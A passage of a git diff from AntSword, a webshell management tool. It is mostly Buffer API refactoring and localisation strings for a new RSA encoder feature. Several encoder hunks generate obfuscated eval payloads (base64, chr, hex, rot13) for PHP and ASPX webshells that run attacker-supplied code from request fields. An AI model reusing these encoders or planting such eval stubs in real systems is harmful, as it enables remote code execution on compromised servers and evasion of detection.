b/source/core/aspx/encoder/base64.js @@ -6,9 +6,9 @@ 'use strict'; -module.exports = (pwd, data) => { +module.exports = (pwd, data, ext = null) => { let randomID = `_0x${Math.random().toString(16).substr(2)}`; - data[randomID] = new Buffer(data['_']).toString('base64'); + data[randomID] = Buffer.from(data['_']).toString('base64'); data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`; delete data['_']; return data; diff --git a/source/core/aspx/encoder/hex.js b/source/core/aspx/encoder/hex.js index 6c87ca6b..79317979 100644 --- a/source/core/aspx/encoder/hex.js +++ b/source/core/aspx/encoder/hex.js @@ -6,11 +6,10 @@ 'use strict'; -module.exports = (pwd, data) => { - +module.exports = (pwd, data, ext = null) => { let randomID = `_0x${Math.random().toString(16).substr(2)}`; let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};"; - data[randomID] = new Buffer(data['_']).toString('hex'); + data[randomID] = Buffer.from(data['_']).toString('hex'); data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`; delete data['_']; return data; diff --git a/source/core/base.js b/source/core/base.js index 34d8fa00..e3785743 100644 --- a/source/core/base.js +++ b/source/core/base.js @@ -7,6 +7,8 @@ 'use strict'; const iconv = require('iconv-lite'); +const NodeRSA = require('node-rsa'); +const fs = require('fs'); class Base { @@ -52,11 +54,22 @@ class Base { } } // 解析自定义编码器 - this.user_encoders.map((_)=>{ + this.user_encoders.map((_) => { this.parseEncoder(`${_}`); }); } + /** + * 返回 RSA 对象 + * @return {Object} + */ + rsaEncrypt() { + let key = new NodeRSA(); + let priKey = fs.readFileSync(path.join(remote.process.env.AS_WORKDIR, `antData/key_rsa`)); + key.importKey(priKey.toString(), 'private'); + return key; + } + /** * 返回参数列表 * @return {array} [arg1, arg2, arg3..] @@ -85,8 +98,8 @@ class Base { * @return {String} 编码后的字符串 */ base64(str) { - return new Buffer( - iconv.encode(new Buffer(str), encode) + return Buffer.from( + iconv.encode(Buffer.from(str), encode) ).toString('base64'); }, /** @@ -95,7 +108,7 @@ class Base { * @return {Buffer} 转换完成的buffer */ buffer(str) { - return new Buffer(str).toString('hex').toUpperCase(); + return Buffer.from(str).toString('hex').toUpperCase(); }, /** * 字符串转16进制(进行编码转换 @@ -103,8 +116,8 @@ class Base { * @return {Buffer} 转换完成的buffer */ hex(str) { - return new Buffer( - iconv.encode(new Buffer(str), encode) + return Buffer.from( + iconv.encode(Buffer.from(str), encode) ).toString('hex').toUpperCase(); } } @@ -131,7 +144,7 @@ class Base { for (let funcName in templateObj) { this[templateName][funcName] = ( (args) => { - if (typeof(args) === 'object') { + if (typeof (args) === 'object') { // 如果脚本函数需要参数,则进行解析 return (argv) => { let data = {}; @@ -152,7 +165,7 @@ class Base { (func = formatter[tagArr[0]]) ) { // 如果包含有分割标签且该格式化函数存在,则调用该函数进行处理 - retStr = func( argv[tagArr[1] || ''] ); + retStr = func(argv[tagArr[1] || '']); } else { // 否则替换直接返回字符串 retStr = argv[tagStr] || ''; @@ -185,7 +198,7 @@ class Base { // https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870 delete require.cache[require.resolve(`${enc}`)]; // QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~ - this['__encoder__'][enc.indexOf(`encoder/`) > -1 ? enc.split(`encoder/`)[1]:enc.split(`encoder\\`)[1]] = require(`${enc}`); + this['__encoder__'][enc.indexOf(`encoder/`) > -1 ? enc.split(`encoder/`)[1] : enc.split(`encoder\\`)[1]] = require(`${enc}`); } /** @@ -196,10 +209,14 @@ class Base { * @return {Object} 最终生成数据// 将返回三个参数对象:tag_s,tag_e,data */ encodeComplete(tag_s, tag_e, data) { + let ext = { + rsa: this.rsaEncrypt() + } // 编码器处理 let finalData = this.__encoder__[this.__opts__['encoder']]( this.__opts__['pwd'], - data + data, + ext ); return { 'tag_s': tag_s, @@ -225,7 +242,7 @@ class Base { // 请求完毕返回数据{text,buff} .once(`request-${hash}`, (event, ret) => { return res({ - 'encoding': ret['encoding']||"", + 'encoding': ret['encoding'] || "", 'text': ret['text'], 'buff': ret['buff'] }); diff --git a/source/core/custom/encoder/base64.js b/source/core/custom/encoder/base64.js index 957882e8..b32102b6 100644 --- a/source/core/custom/encoder/base64.js +++ b/source/core/custom/encoder/base64.js @@ -6,11 +6,11 @@ 'use strict'; -module.exports = (pwd, data) => { +module.exports = (pwd, data, ext = null) => { let ret = {}; for (let _ in data) { if (_ === '_') { continue }; - ret[_] = new Buffer(data[_]).toString('base64'); + ret[_] = Buffer.from(data[_]).toString('base64'); } ret[pwd] = data['_']; return ret; diff --git a/source/core/custom/encoder/hex.js b/source/core/custom/encoder/hex.js index c15d22a1..148f9cb6 100644 --- a/source/core/custom/encoder/hex.js +++ b/source/core/custom/encoder/hex.js @@ -4,11 +4,11 @@ 'use strict'; -module.exports = (pwd, data) => { +module.exports = (pwd, data, ext = null) => { let ret = {}; for (let _ in data) { if (_ === '_') { continue }; - ret[_] = new Buffer(data[_]).toString('hex'); + ret[_] = Buffer.from(data[_]).toString('hex'); } ret[pwd] = data['_']; return ret; diff --git a/source/core/php/encoder/base64.js b/source/core/php/encoder/base64.js index c0c06c62..bea0a3bd 100644 --- a/source/core/php/encoder/base64.js +++ b/source/core/php/encoder/base64.js @@ -5,10 +5,10 @@ 'use strict'; -module.exports = (pwd, data) => { +module.exports = (pwd, data, ext = null) => { // 生成一个随机变量名 let randomID = `_0x${Math.random().toString(16).substr(2)}`; - data[randomID] = new Buffer(data['_']).toString('base64'); + data[randomID] = Buffer.from(data['_']).toString('base64'); data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`; delete data['_']; return data; diff --git a/source/core/php/encoder/chr.js b/source/core/php/encoder/chr.js index b3dfa674..11425c0e 100644 --- a/source/core/php/encoder/chr.js +++ b/source/core/php/encoder/chr.js @@ -5,14 +5,14 @@ 'use strict' -module.exports = (pwd, data) => { +module.exports = (pwd, data, ext = null) => { // 编码函数 const encode = (php) => { let ret = []; let i = 0; - while(i < php.length) { + while (i < php.length) { ret.push(php[i].charCodeAt()); - i ++; + i++; } return `@eVAl(cHr(${ret.join(').ChR(')}));`; } diff --git a/source/core/php/encoder/chr16.js b/source/core/php/encoder/chr16.js index 2833fa36..1814424f 100644 --- a/source/core/php/encoder/chr16.js +++ b/source/core/php/encoder/chr16.js @@ -5,14 +5,14 @@ 'use strict' -module.exports = (pwd, data) => { +module.exports = (pwd, data, ext = null) => { // 编码函数 const encode = (php) => { let ret = []; let i = 0; - while(i < php.length) { + while (i < php.length) { ret.push(php[i].charCodeAt().toString(16)); - i ++; + i++; } return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`; } diff --git a/source/core/php/encoder/rot13.js b/source/core/php/encoder/rot13.js index 580c4fbf..82b662c9 100644 --- a/source/core/php/encoder/rot13.js +++ b/source/core/php/encoder/rot13.js @@ -6,15 +6,15 @@ 'use strict'; -module.exports = (pwd, data) => { +module.exports = (pwd, data, ext = null) => { const encode = (s) => { //use a Regular Expression to Replace only the characters that are a-z or A-Z return s.replace(/[a-zA-Z]/g, function (c) { - //Get the character code of the current character and add 13 to it - //If it is larger than z's character code then subtract 26 to support wrap around. - return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26); + //Get the character code of the current character and add 13 to it + //If it is larger than z's character code then subtract 26 to support wrap around. + return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26); }); -} + } // 生成一个随机变量名 let randomID = `_0x${Math.random().toString(16).substr(2)}`; diff --git a/source/language/en.js b/source/language/en.js index 28dbd0f1..6c161b2e 100644 --- a/source/language/en.js +++ b/source/language/en.js @@ -236,7 +236,7 @@ Hot Keys: title: 'FileManager', delete: { title: 'Delete', - confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' files' : num} ?`), + confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof (num) === 'number' ? num + ' files' : num} ?`), success: (path) => `Delete file [${path}] success!`, error: (path, err) => `Delete file [${path}] failed!${err ? '\n' + err : ''}` }, @@ -523,7 +523,7 @@ Hot Keys: gridheader: "Name,Type,Length,Not Null,Key,Auto Increment", delete_not_select: "Please select the row you want to delete first", save_row_is_null: "The number of rows is empty", - cell_valid_error: (i,j)=>`Data format validation failed(row ${i+1}, col ${j+1})`, + cell_valid_error: (i, j) => `Data format validation failed(row ${i + 1}, col ${j + 1})`, confirmtitle: "New table name", invalid_tablename: "Table names should not contain special symbols", success: 'Create table successfully', @@ -536,7 +536,7 @@ Hot Keys: error: 'Failed to update table', }, deltable: { - title:'Delete Table', + title: 'Delete Table', confirm: (name) => antSword.noxss(`Are you sure you want to delete table ${name}?`), success: 'Delete table successfully', error: 'Failed to delete table', @@ -552,7 +552,7 @@ Hot Keys: error: 'Failed to update column', }, delcolumn: { - title:'Delete Column', + title: 'Delete Column', confirm: (name) => antSword.noxss(`Are you sure you want to delete column ${name}?`), success: 'Delete column successfully', error: 'Failed to delete column', @@ -607,6 +607,7 @@ Hot Keys: no: 'Cancel' }, body: (ver) => `Found new version v${ver}, update now?`, + loader_body: (ver) => `The new version of the Loader v${ver} has been released, the currently used loader will not be available, will you quit the program and go to download the latest version of the Loader?`, title: 'Update to version', changelog: 'Change Logs: ', sources: 'Download source: ', @@ -616,10 +617,10 @@ Hot Keys: } }, message: { - githint: (workdir)=>`The current source is Git management, please close the program and go to ${workdir} to manually update`, + githint: (workdir) => `The current source is Git management, please close the program and go to ${workdir} to manually update`, prepare: "Connecte to server...", - dling: (progress)=> `Downloading...${progress}%`, - dlingnp: (size)=> `Downloading...${size}`, + dling: (progress) => `Downloading...${progress}%`, + dlingnp: (size) => `Downloading...${size}`, dlend: "Download completed", extract: "Unpacking, don't close AntSword", ing: 'Downloading..', @@ -627,7 +628,7 @@ Hot Keys: success: 'Update success! Please manually restart the application later!' } }, - encoders:{ + encoders: { title: 'Encoder Manager', toolbar: { new: "New", @@ -635,11 +636,19 @@ Hot Keys: delete: "Delete", help: "Help", save: "Save", + rsa: "RSA Config", + generate: "Generate" }, grid: { ename: "Name", etype: "Type" }, + form: { + public_key: "Public Key", + private_key: "Private Key", + php_code: "PHP Code" + }, + rsa_config_win_title: "RSA Encoder Config", edit_win_title: "Edit Encoder", delete_title: "Delete Encoder", message: { @@ -655,12 +664,15 @@ Hot Keys: delete_not_select: "Please select the row you want to delete first", delete_success: "Delete success", ename_invalid: "Name can only contain numbers, letters, and underlines", + rsa_save_success: "Generate and save RSA success", + rsa_save_error: "Generate and save RSA error", }, prompt: { create_encoder: "Create Encoder", }, confirm: { - delete: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' encoders' : num}?`), + generate: 'Are you sure to regemerate RSA?', + delete: (num) => antSword.noxss(`Are you sure to delete ${typeof (num) === 'number' ? num + ' encoders' : num}?`), } }, aproxy: { @@ -671,7 +683,7 @@ Hot Keys: }, form: { label: 'Configure proxy for access to the Internet', - mode:{ + mode: { noproxy: 'Do not use agent', manualproxy: 'Manually set the proxy' }, @@ -690,7 +702,7 @@ Hot Keys: content: 'Restart the application to take effect, whether to restart?', title: 'Change proxy settings' }, - prompt:{ + prompt: { title: 'Enter the Test-URL', success: 'Connect to proxy server successfully', error: 'Failed to connect to the proxy server' @@ -707,7 +719,7 @@ Hot Keys: toolbar: { save: 'Save' }, - form:{ + form: { shellmanager: { title: 'Shell Lists', hiddencolumns: { @@ -760,7 +772,7 @@ Hot Keys: }, del: { title: 'Delete Bookmark', - confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' Bookmarks' : num+" "}?`), + confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof (num) === 'number' ? num + ' Bookmarks' : num + " "}?`), success: 'Delete success' }, edit: { @@ -782,7 +794,7 @@ Hot Keys: }, viewsite: { toolbar: { - useproxy: (s) => `Proxy: ${s?'ON':'OFF'}`, + useproxy: (s) => `Proxy: ${s ? 'ON' : 'OFF'}`, save: 'Save', view: 'View' }, diff --git a/source/language/zh.js b/source/language/zh.js index ed39234f..00230e4b 100644 --- a/source/language/zh.js +++ b/source/language/zh.js @@ -237,7 +237,7 @@ module.exports = { title: '文件管理', delete: { title: '删除文件', - confirm: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个文件' : num} 吗?`), + confirm: (num) => antSword.noxss(`你确定要删除 ${typeof (num) === 'number' ? num + ' 个文件' : num} 吗?`), success: (path) => `删除文件成功!\n${path}`, error: (path, err) => `删除文件 [${path}] 失败!${err ? '\n' + err : ''}` }, @@ -524,7 +524,7 @@ module.exports = { gridheader: "名称,类型,长度,不为空,主键,自增长", delete_not_select: "请先选中要删除的行", save_row_is_null: "行数为空", - cell_valid_error: (i,j)=>`数据格式校验失败(${i+1}行,${j+1}列)`, + cell_valid_error: (i, j) => `数据格式校验失败(${i + 1}行,${j + 1}列)`, confirmtitle: "输入新表名", invalid_tablename: "表名不能带有特殊符号", success: '新建表成功', @@ -537,7 +537,7 @@ module.exports = { error: '修改表名失败', }, deltable: { - title:'删除表', + title: '删除表', confirm: (name) => antSword.noxss(`确定要删除表 ${name} 吗?`), success: '删除表成功', error: '删除表失败', @@ -553,7 +553,7 @@ module.exports = { error: '修改列名失败' }, delcolumn: { - title:'删除列', + title: '删除列', confirm: (name) => antSword.noxss(`确定要删除列 ${name} 吗?`), success: '删除列成功', error: '删除列失败', @@ -608,6 +608,7 @@ module.exports = { no: '下次再说' }, body: (ver) => `发现新版本 v${ver}, 是否更新?`, + loader_body: (ver) => `加载器新版本 v${ver} 已经发布,当前使用的加载器即将不能使用, 是否退出程序并前往下载最新版加载器?`, title: '版本更新', changelog: '更新日志:', sources: '更新来源:', @@ -617,10 +618,10 @@ module.exports = { } }, message: { - githint: (workdir)=>`当前源码为Git管理,请关闭程序并前往 ${workdir} 手动更新`, + githint: (workdir) => `当前源码为Git管理,请关闭程序并前往 ${workdir} 手动更新`, prepare: "连接更新服务器...", - dling: (progress)=> `正在下载更新包...${progress}%`, - dlingnp: (size)=> `正在下载更新包...${size}`, + dling: (progress) => `正在下载更新包...${progress}%`, + dlingnp: (size) => `正在下载更新包...${size}`, dlend: "下载完毕", extract: "正在解压, 请勿关闭程序", ing: '努力更新中。。', @@ -628,7 +629,7 @@ module.exports = { success: '更新成功!请稍后手动重启应用!' } }, - encoders:{ + encoders: { title: '编码管理', toolbar: { new: "新建", @@ -636,11 +637,19 @@ module.exports = { delete: "删除", help: "帮助", save: "保存", + rsa: "RSA配置", + generate: "生成" }, grid: { ename: "名称", etype: "类型" }, + form: { + public_key: "公钥", + private_key: "私钥", + php_code: "PHP 代码" + }, + rsa_config_win_title: "RSA编码器配置", edit_win_title: "编辑编码器", delete_title: "删除编码器", message: { @@ -656,12 +665,15 @@ module.exports = { delete_not_select: "请先选中要删除的行", delete_success: "删除成功", ename_invalid: "名称只能包含数字、字母、下划线", + rsa_save_success: "生成 RSA 密钥对成功", + rsa_save_error: "生成 RSA 密钥对错误", }, prompt: { create_encoder: "创建编码器", }, confirm: { - delete: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个编码器' : num+" "}吗?`), + generate: '你确定要重新生成?', + delete: (num) => antSword.noxss(`你确定要删除 ${typeof (num) === 'number' ? num + ' 个编码器' : num + " "}吗?`), } }, aproxy: { @@ -672,7 +684,7 @@ module.exports = { }, form: { label: '配置访问互联网的代理', - mode:{ + mode: { noproxy: '不使用代理', manualproxy: '手动设置代理' }, @@ -691,7 +703,7 @@ module.exports = { content: '重启应用生效,是否重启?', title: '更改代理设置' }, - prompt:{ + prompt: { title: '输入测试的 URL', success: '连接到代理服务器成功', error: '连接到代理服务器失败' @@ -708,7 +720,7 @@ module.exports = { toolbar: { save: '保存' }, - form:{ + form: { shellmanager: { title: '数据管理', hiddencolumns: { @@ -761,7 +773,7 @@ module.exports = { }, del: { title: '删除书签', - confirm: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个书签' : num+" "}吗?`), + confirm: (num) => antSword.noxss(`你确定要删除 ${typeof (num) === 'number' ? num + ' 个书签' : num + " "}吗?`), success: '删除成功' }, edit: { @@ -782,7 +794,7 @@ module.exports = { }, viewsite: { toolbar: { - useproxy: (s) => `代理: ${s?'开':'关'}`, + useproxy: (s) => `代理: ${s ? '开' : '关'}`, save: '保存', view: '浏览' }, diff --git a/source/language/zh_hk.js b/source/language/zh_hk.js index 81dd230c..7dfeca9b 100644 --- a/source/language/zh_hk.js +++ b/source/language/zh_hk.js @@ -237,7 +237,7 @@ module.exports = { title: '文件管理', delete: { title: '刪除文件', - confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個文件' : num} 嗎?`), + confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個文件' : num} 嗎?`), success: (path) => `刪除文件成功!\n${path}`, error: (path, err) => `刪除文件 [${path}] 失敗!${err ? '\n' + err : ''}` }, @@ -524,7 +524,7 @@ module.exports = { gridheader: "名稱,類型,長度,不為空,主鍵,自增長", delete_not_select: "請先選中要刪除的行", save_row_is_null: "行數為空", - cell_valid_error: (i,j)=>`數據格式校驗失敗(${i+1}行,${j+1}列)`, + cell_valid_error: (i, j) => `數據格式校驗失敗(${i + 1}行,${j + 1}列)`, confirmtitle: "輸入新表名", invalid_tablename: "表名不能帶有特殊符號", success: '新建表成功', @@ -537,7 +537,7 @@ module.exports = { error: '修改表名失敗', }, deltable: { - title:'刪除表', + title: '刪除表', confirm: (name) => antSword.noxss(`確定要刪除表 ${name} 嗎?`), success: '刪除表成功', error: '刪除表失敗', @@ -553,7 +553,7 @@ module.exports = { error: '修改列名失敗' }, delcolumn: { - title:'刪除列', + title: '刪除列', confirm: (name) => antSword.noxss(`確定要刪除列 ${name} 嗎?`), success: '刪除列成功', error: '刪除列失敗', @@ -608,6 +608,7 @@ module.exports = { no: '下次再説' }, body: (ver) => `發現新版本 v${ver}, 是否更新?`, + loader_body: (ver) => `加載器新版本 v${ver} 已經發布,當前使用的加載器即將不能使用, 是否退出程序並前往下載最新版加載器?`, title: '版本更新', changelog: '更新日誌:', sources: '更新來源:', @@ -617,10 +618,10 @@ module.exports = { } }, message: { - githint: (workdir)=>`當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`, + githint: (workdir) => `當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`, prepare: "連接更新服務器...", - dling: (progress)=> `正在下載更新包...${progress}%`, - dlingnp: (size)=> `正在下載更新包...${size}`, + dling: (progress) => `正在下載更新包...${progress}%`, + dlingnp: (size) => `正在下載更新包...${size}`, dlend: "下載完畢", extract: "正在解壓, 請勿關閉程序", ing: '努力更新中。。', @@ -628,7 +629,7 @@ module.exports = { success: '更新成功!請稍後手動重啟應用!' } }, - encoders:{ + encoders: { title: '編碼管理', toolbar: { new: "新建", @@ -636,11 +637,19 @@ module.exports = { delete: "刪除", help: "幫助", save: "保存", + rsa: "RSA配置", + generate: "生成" }, grid: { ename: "名稱", etype: "類型" }, + form: { + public_key: "公鑰", + private_key: "私鑰", + php_code: "PHP 代碼" + }, + rsa_config_win_title: "RSA編碼器配置", edit_win_title: "編輯編碼器", delete_title: "刪除編碼器", message: { @@ -656,12 +665,15 @@ module.exports = { delete_not_select: "請先選中要刪除的行", delete_success: "刪除成功", ename_invalid: "名稱只能包含數字、字母、下劃線", + rsa_save_success: "生成 RSA 密鑰對成功", + rsa_save_error: "生成 RSA 密鑰對錯誤", }, prompt: { + generate: '妳確定要重新生成?', create_encoder: "創建編碼器", }, confirm: { - delete: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個編碼器' : num+" "}嗎?`), + delete: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個編碼器' : num + " "}嗎?`), } }, aproxy: { @@ -672,7 +684,7 @@ module.exports = { }, form: { label: '配置訪問互聯網的代理', - mode:{ + mode: { noproxy: '不使用代理', manualproxy: '手動設置代理' }, @@ -691,7 +703,7 @@ module.exports = { content: '重啟應用生效,是否重啟?', title: '更改代理設置' }, - prompt:{ + prompt: { title: '輸入測試的 URL', success: '連接到代理服務器成功', error: '連接到代理服務器失敗' @@ -708,7 +720,7 @@ module.exports = { toolbar: { save: '保存' }, - form:{ + form: { shellmanager: { title: '數據管理', hiddencolumns: { @@ -761,7 +773,7 @@ module.exports = { }, del: { title: '刪除書籤', - confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個書籤' : num+" "}嗎?`), + confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個書籤' : num + " "}嗎?`), success: '刪除成功' }, edit: { @@ -782,7 +794,7 @@ module.exports = { }, viewsite: { toolbar: { - useproxy: (s) => `代理: ${s?'開':'關'}`, + useproxy: (s) => `代理: ${s ? '開' : '關'}`, save: '保存', view: '瀏覽' }, diff --git a/source/language/zh_tw.js b/source/language/zh_tw.js index 88a66339..3b94fcb8 100644 --- a/source/language/zh_tw.js +++ b/source/language/zh_tw.js @@ -237,7 +237,7 @@ module.exports = { title: '文件管理', delete: { title: '刪除文件', - confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個文件' : num} 嗎?`), + confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個文件' : num} 嗎?`), success: (path) => `刪除文件成功!\n${path}`, error: (path, err) => `刪除文件 [${path}] 失敗!${err ? '\n' + err : ''}` }, @@ -524,7 +524,7 @@ module.exports = { gridheader: "名稱,類型,長度,不為空,主鍵,自增長", delete_not_select: "請先選中要刪除的行", save_row_is_null: "行數為空", - cell_valid_error: (i,j)=>`數據格式校驗失敗(${i+1}行,${j+1}列)`, + cell_valid_error: (i, j) => `數據格式校驗失敗(${i + 1}行,${j + 1}列)`, confirmtitle: "輸入新表名", invalid_tablename: "表名不能帶有特殊符號", success: '新建表成功', @@ -537,7 +537,7 @@ module.exports = { error: '修改表名失敗', }, deltable: { - title:'刪除表', + title: '刪除表', confirm: (name) => antSword.noxss(`確定要刪除表 ${name} 嗎?`), success: '刪除表成功', error: '刪除表失敗', @@ -553,7 +553,7 @@ module.exports = { error: '修改列名失敗' }, delcolumn: { - title:'刪除列', + title: '刪除列', confirm: (name) => antSword.noxss(`確定要刪除列 ${name} 嗎?`), success: '刪除列成功', error: '刪除列失敗', @@ -608,6 +608,7 @@ module.exports = { no: '下次再說' }, body: (ver) => `發現新版本 v${ver}, 是否更新?`, + loader_body: (ver) => `加載器新版本 v${ver} 已經發布,當前使用的加載器即將不能使用, 是否退出程序並前往下載最新版加載器?`, title: '版本更新', changelog: '更新日誌:', sources: '更新來源:', @@ -617,10 +618,10 @@ module.exports = { } }, message: { - githint: (workdir)=>`當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`, + githint: (workdir) => `當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`, prepare: "連接更新服務器...", - dling: (progress)=> `正在下載更新包...${progress}%`, - dlingnp: (size)=> `正在下載更新包...${size}`, + dling: (progress) => `正在下載更新包...${progress}%`, + dlingnp: (size) => `正在下載更新包...${size}`, dlend: "下載完畢", extract: "正在解壓, 請勿關閉程序", ing: '努力更新中。。', @@ -628,7 +629,7 @@ module.exports = { success: '更新成功!請稍後手動重啟應用!' } }, - encoders:{ + encoders: { title: '編碼管理', toolbar: { new: "新建", @@ -636,11 +637,19 @@ module.exports = { delete: "刪除", help: "幫助", save: "保存", + rsa: "RSA配置", + generate: "生成" }, grid: { ename: "名稱", etype: "類型" }, + form: { + public_key: "公鑰", + private_key: "私鑰", + php_code: "PHP 代碼" + }, + rsa_config_win_title: "RSA編碼器配置", edit_win_title: "編輯編碼器", delete_title: "刪除編碼器", message: { @@ -656,12 +665,15 @@ module.exports = { delete_not_select: "請先選中要刪除的行", delete_success: "刪除成功", ename_invalid: "名稱只能包含數字、字母、下劃線", + rsa_save_success: "生成 RSA 密鑰對成功", + rsa_save_error: "生成 RSA 密鑰對錯誤", }, prompt: { create_encoder: "創建編碼器", }, confirm: { - delete: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個編碼器' : num+" "}嗎?`), + generate: '妳確定要重新生成?', + delete: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個編碼器' : num + " "}嗎?`), } }, aproxy: { @@ -672,7 +684,7 @@ module.exports = { }, form: { label: '配置訪問互聯網的代理', - mode:{ + mode: { noproxy: '不使用代理', manualproxy: '手動設置代理' }, @@ -691,7 +703,7 @@ module.exports = { content: '重啟應用生效,是否重啟?', title: '更改代理設置' }, - prompt:{ + prompt: { title: '輸入測試的 URL', success: '連接到代理服務器成功', error: '連接到代理服務器失敗' @@ -708,7 +720,7 @@ module.exports = { toolbar: { save: '保存' }, - form:{ + form: { shellmanager: { title: '數據管理', hiddencolumns: { @@ -761,7 +773,7 @@ module.exports = { }, del: { title: '刪除書籤', - confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個書籤' : num+" "}嗎?`), + confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個書籤' : num + " "}嗎?`), success: '刪除成功' }, edit: { @@ -782,7 +794,7 @@ module.exports = { }, viewsite: { toolbar: { - useproxy: (s) => `代理: ${s?'開':'關'}`, + useproxy: (s) => `代理: ${s ? '開' : '關'}`, save: '保存', view: '瀏覽' }, diff --git a/source/modules/database/asp/index.js b/source/modules/database/asp/index.js index 19916fbd..3e321253 100644 --- a/source/modules/database/asp/index.js +++ b/source/modules/database/asp/index.js @@ -42,7 +42,7 @@ class ASP { id: arr[0] }); if (arr.length > 1) { - this.dbconf['database'] = new Buffer(arr[1], 'base64').toString(); + this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // 更新SQL编辑器 this.enableEditor(); // manager.query.update(this.currentConf); @@ -64,7 +64,7 @@ class ASP { let _db = arr[1].split(':'); this.getTables( _db[0], - new Buffer(_db[1], 'base64').toString() + Buffer.from(_db[1], 'base64').toString() ); break; // 获取表名字段 @@ -72,16 +72,16 @@ class ASP { let _tb = arr[1].split(':'); this.getColumns( _tb[0], - new Buffer(_tb[1], 'base64').toString(), - new Buffer(_tb[2], 'base64').toString() + Buffer.from(_tb[1], 'base64').toString(), + Buffer.from(_tb[2], 'base64').toString() ); break; // 生成查询SQL语句 case 'column': let _co = arr[1].split(':'); - const db = new Buffer(_co[1], 'base64').toString(); - const table = new Buffer(_co[2], 'base64').toString(); - const column = new Buffer(_co[3], 'base64').toString(); + const db = Buffer.from(_co[1], 'base64').toString(); + const table = Buffer.from(_co[2], 'base64').toString(); + const column = Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch(this.dbconf['type']){ case 'mysql': @@ -447,7 +447,7 @@ class ASP { // 添加子节点 arr.map((_) => { if (!_) { return }; - const _db = new Buffer(_).toString('base64'); + const _db = Buffer.from(_).toString('base64'); this.tree.insertNewItem( `conn::${id}`, `database::${id}:${_db}`, @@ -484,13 +484,13 @@ class ASP { throw ret; } const arr = ret.split('\t'); - const _db = new Buffer(db).toString('base64'); + const _db = Buffer.from(db).toString('base64'); // 删除子节点 this.tree.deleteChildItems(`database::${id}:${_db}`); // 添加子节点 arr.map((_) => { if (!_) { return }; - const _table = new Buffer(_).toString('base64'); + const _table = Buffer.from(_).toString('base64'); this.tree.insertNewItem( `database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, @@ -546,14 +546,14 @@ class ASP { throw ret; } const arr = ret.split('\t'); - const _db = new Buffer(db).toString('base64'); - const _table = new Buffer(table).toString('base64'); + const _db = Buffer.from(db).toString('base64'); + const _table = Buffer.from(table).toString('base64'); // 删除子节点 this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`); // 添加子节点 arr.map((_) => { if (!_) { return }; - const _column = new Buffer(_.substr(_, _.lastIndexOf(' '))).toString('base64'); + const _column = Buffer.from(_.substr(_, _.lastIndexOf(' '))).toString('base64'); this.tree.insertNewItem( `table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, @@ -674,7 +674,7 @@ class ASP { if (!filePath) { return; }; let headerStr = grid.hdrLabels.join(','); let dataStr = grid.serializeToCSV(); - let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr); + let tempDataBuffer = Buffer.from(headerStr+'\n'+dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); diff --git a/source/modules/database/custom/index.js b/source/modules/database/custom/index.js index 50249d96..fb47de1c 100644 --- a/source/modules/database/custom/index.js +++ b/source/modules/database/custom/index.js @@ -37,7 +37,7 @@ class CUSTOM { id: arr[0] }); if (arr.length > 1) { - this.dbconf['database'] = new Buffer(arr[1], 'base64').toString(); + this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // 更新SQL编辑器 this.enableEditor(); // manager.query.update(this.currentConf); @@ -59,7 +59,7 @@ class CUSTOM { let _db = arr[1].split(':'); this.getTables( _db[0], - new Buffer(_db[1], 'base64').toString() + Buffer.from(_db[1], 'base64').toString() ); break; // 获取表名字段 @@ -67,16 +67,16 @@ class CUSTOM { let _tb = 